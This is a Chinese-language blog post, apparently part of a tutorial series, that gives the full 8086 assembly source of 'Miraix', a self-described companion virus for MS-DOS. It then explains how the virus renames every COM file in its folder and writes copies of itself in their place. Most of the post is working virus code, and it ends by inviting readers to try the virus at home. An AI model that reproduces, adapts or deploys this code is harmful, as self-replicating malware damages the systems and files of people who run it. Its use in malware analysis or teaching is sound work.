各位先聽首歌,
放鬆一下心情,並做好心理準備。
因為等一下要講解的,
是一個約130行左右的組合語言病毒。
(媽的我寫了快一周才做出來...... = =
真心建議,那些想學病毒開發的巴友,
先去把組合語言的基礎學熟,
否則我怕諸君的心臟真的會受不了….∑(?Д?)
由於,
上一次已經介紹過Companion Virus的定義,
已及這份病毒執行時的感染特徵,
因此這邊就不再贅述。
總之,
在窩完成開發這個病毒後,
我認為Companion Virus 在設計上的幾個重點,
分別是:
1. 如何重新分配記憶體空間 ?
2. 如何呼叫宿主,並成功執行之 ?
3. 如何正確地讓宿主轉移控制權回病毒 ?
4. 如何幫宿主善後 ?
5. 組語的string manipulation ?
這邊先給各位看看原始碼,
等一下再一一解釋我的處理方法。
[#] 病毒規格:
開發者: 虛鹿(Falsedeer)
平臺: MS-DOS(Dosbox可模擬)
語法: 8086 Assembly (TASM)
感染範圍: 所在的資料夾而已
是否有隱藏檔案: 無
是否有破壞性: 無,單純感染COM
預設的宿主: Hello.com
[#] Miraix 原始碼:
; miarix - companion virus version
; coded by [email protected], 02/24/2022
; ==================== CODE AREA ======================
.model small
.CODE
.386
ORG 100h
Filename EQU (OFFSET DTA) + 1eh
virsize EQU (OFFSET finish) - (OFFSET start)
start:
jmp exechost
exechost:
mov bx, OFFSET virsize + 100h ;re-size memory to the minimun require
mov ah, 4ah
int 21h
xor al, al
mov bx, OFFSET paramblk
mov dx, OFFSET Hostname
mov sp, OFFSET finish + 100h ;move self(virus) after host program
mov ah, 4bh
int 21h
cleanup:
mov ah, 1ah
mov dx, OFFSET DTA
int 21h ;reset all register fucked up by host program
mov ax, cs
mov ss, ax
mov ds, ax
mov es, ax
mov sp, (OFFSET virsize) + 200h ;reset stack pointer
search:
mov ah, 4eh
xor cx, cx ;prepare for first search
mov dx, OFFSET Filetype1
int 21h
jc done ;end process, if the isn't any first match
xor di, di ;set di to zero, prepare for filter's
xor bp, bp
mov bx, OFFSET Filename
mov bp, OFFSET Hostname
mov al, byte PTR [bx] ;saving filename's first letter manualy.
mov byte PTR [bp], al
;saving filename to var:Hostname
markup: ;moving all shits before terminate zero to overwrite hostname
inc di
xor ax, ax
mov al, byte ptr [bx+di]
mov byte ptr [bp+di], al
cmp byte ptr [bp+di], '.'
jnz markup
xchgext: ;change the extension to COM
inc di
mov byte PTR [bp+di], 'C'
inc di
mov byte PTR [bp+di], 'O'
inc di
mov byte PTR [bp+di], 'M'
inc di
mov byte PTR [bp+di], 0 ;adding a terminate zero for the var
mov si, di
xchgname:
lea bx, Hostname
mov di, si
mov byte ptr [bx], 'X'
mov byte ptr [bx+di], 0
lea bx, Hostname
mov byte ptr [bx+di], 0
infect:
mov ah, 56h ;rename the new victim
mov dx, OFFSET Filename ;original filename
mov di, OFFSET Hostname ;new filename
int 21h
xor ax, ax
mov ah, 3ch
mov cx, 0 ;create new companion file
mov dx, OFFSET Filename ;return file handler on ax
int 21h
xchg bx, ax ;throw the file handle to bx
mov ah, 40h ;write virus to the companion file
mov cx, OFFSET virsize
mov dx, 100h
int 21h
search_next:
mov ah, 4fh ;prepare for next search
mov dx, OFFSET Filetype1
int 21h
jc done
xor di, di
xor bp, bp
mov bx, OFFSET Filename
mov bp, OFFSET Hostname
mov al, byte PTR [bx]
mov byte PTR [bp], al
jmp markup
done:
mov ah, 4ch
int 21h
; ====================== VAR AREA ======================
Hostname db "HELLO.COM",0 ;this victim
Filetype1 db "*.COM",0 ;set COM File as target
msg db "test$" ;for debug
DTA db 128 dup(0) ;dta is 128 byte long
paramblk: ;fucking parameter block for exec host program
dw 0
dw 0
dw 5ch
dw ?
dw 6ch
dw ?
dw ?
; =====================================================
finish: ;marks the end of code
end start
[#] 程式碼解析:
-----------------------------------------
1. 如何重新分配記憶體空間 ?
Ans: 為了要能夠呼叫宿主的程式,
因此我們必須充新分配記憶體空間,
來把自身佔據的記憶體壓縮至最小。
由於COM檔預設的記憶體大小為64KB,
因此如果妥善分配,是不可能不夠用的。
於是呢,在exechost下方的那段:
exechost:
mov bx, OFFSET virsize + 100h ;re-size memory to the minimun require
mov ah, 4ah
int 21h
便是用來處理記憶體空間的分配。
分配的方法是使用Dos Int 4Ah (Modify Alocated Memory),
而劃分的大小為病毒自身的大小(virsize),
加上100h(256 byte)多餘的緩衝空間。
-----------------------------------------
2. 如何呼叫宿主,並成功執行之 ?
Ans:
對應的程式碼為exechost的下半部。
exechost:
~~~~ relocate memory ~~~~
xor al, al
mov bx, OFFSET paramblk
mov dx, OFFSET Hostname
mov sp, OFFSET finish + 100h ;move self(virus) after host program
mov ah, 4bh
int 21h
執行的方法是使用Dos Int 4Bh(execute program),
paramblock 中指定的地址就是預設FCB的地址,
基本上照抄我的設定即可,不必特別去了解。
還有一點必須提一下,
這邊我把stack pointer移到病毒後方100h的位置,
是為了避免呼叫的宿主程式有用到stack指令,
讓病毒的參數與宿主的資料混再一起。
因此,在這個地方就先移動 sp,
讓宿主能夠安心使用。
-----------------------------------------
3. 如何正確地讓宿主轉移控制權回病毒 ?
Ans:
這個部分對應的程式碼為:
cleanup:
mov ah, 1ah
mov dx, OFFSET DTA
int 21h ;reset all register fucked up by host program
mov ax, cs
mov ss, ax
mov ds, ax
mov es, ax
mov sp, (OFFSET virsize) + 200h ;reset stack pointer
由於COM檔的特性,
CS=DS=ES=SS
所以我使用CS重設所有暫存器的值。
畢竟在呼叫宿主程式後,
他使用的暫存器肯定會有部分與病毒重疊,
因此我們必須為他善後。
還有一點必須注意,
那行 mov sp, (offset virsize) +200h
是為了回復原先的sp的值。
一個PSP是100h,加上我們先前移動的100h,
因此這邊需移動的距離為:
宿主PSP + 事先規劃的位置(病毒後方100h)
+ 病毒本體大小(virsize) = virsize + 200h
沒意外地話,dos int 4bh 在正確執行後,
控制權會返還呼叫的病毒。
-----------------------------------------
5. 組語的string manipulation ?
Ans:
由於虛鹿我真的不知道,
該如何從記憶體中提取變數,
並修改字串中的部分字母。(為了重新命名宿主)
我這部分想了超久,
畢竟 Stack overflow上沒有類似的疑問,
因此我大該花了4, 5天,才想到處理辦法:
"只要沒有變數,就沒有提取變數的問題 !!"
哇幹咧,我他媽的簡直是天才。
所以,我這邊是使用很暴力的手法,
直接去修改記憶體中的值,
這樣就能直接避免問題產生了。
對應的程式碼:
search:
mov ah, 4eh
xor cx, cx ;prepare for first search
mov dx, OFFSET Filetype1
int 21h
jc done ;end process, if the isn't any first match
xor di, di ;set di to zero, prepare for filter's
xor bp, bp
mov bx, OFFSET Filename
mov bp, OFFSET Hostname
mov al, byte PTR [bx] ;saving filename's first letter manualy.
mov byte PTR [bp], al
;saving filename to var:Hostname
markup: ;moving all shits before terminate zero to overwrite hostname
inc di
xor ax, ax
mov al, byte ptr [bx+di]
mov byte ptr [bp+di], al
cmp byte ptr [bp+di], '.'
jnz markup
xchgext: ;change the extension to COM
inc di
mov byte PTR [bp+di], 'C'
inc di
mov byte PTR [bp+di], 'O'
inc di
mov byte PTR [bp+di], 'M'
inc di
mov byte PTR [bp+di], 0 ;adding a terminate zero for the var
mov si, di
xchgname:
lea bx, Hostname
mov di, si
mov byte ptr [bx], 'X' ;change the first letter of the hostname to "X"
mov byte ptr [bx+di], 0
lea bx, Hostname
mov byte ptr [bx+di], 0
相關操作手法,
可以參考一下這一篇在處理字串的部分。
-----------------------------------------
好啦,這次就先講到這邊,
有興趣的記得回家試試看虛鹿的病毒。
如果沒意外的話,
下次會介紹三種基本的Com infector之中,
最後一種: Parasitic Virus(寄生病毒) !!
\(≧▽≦)/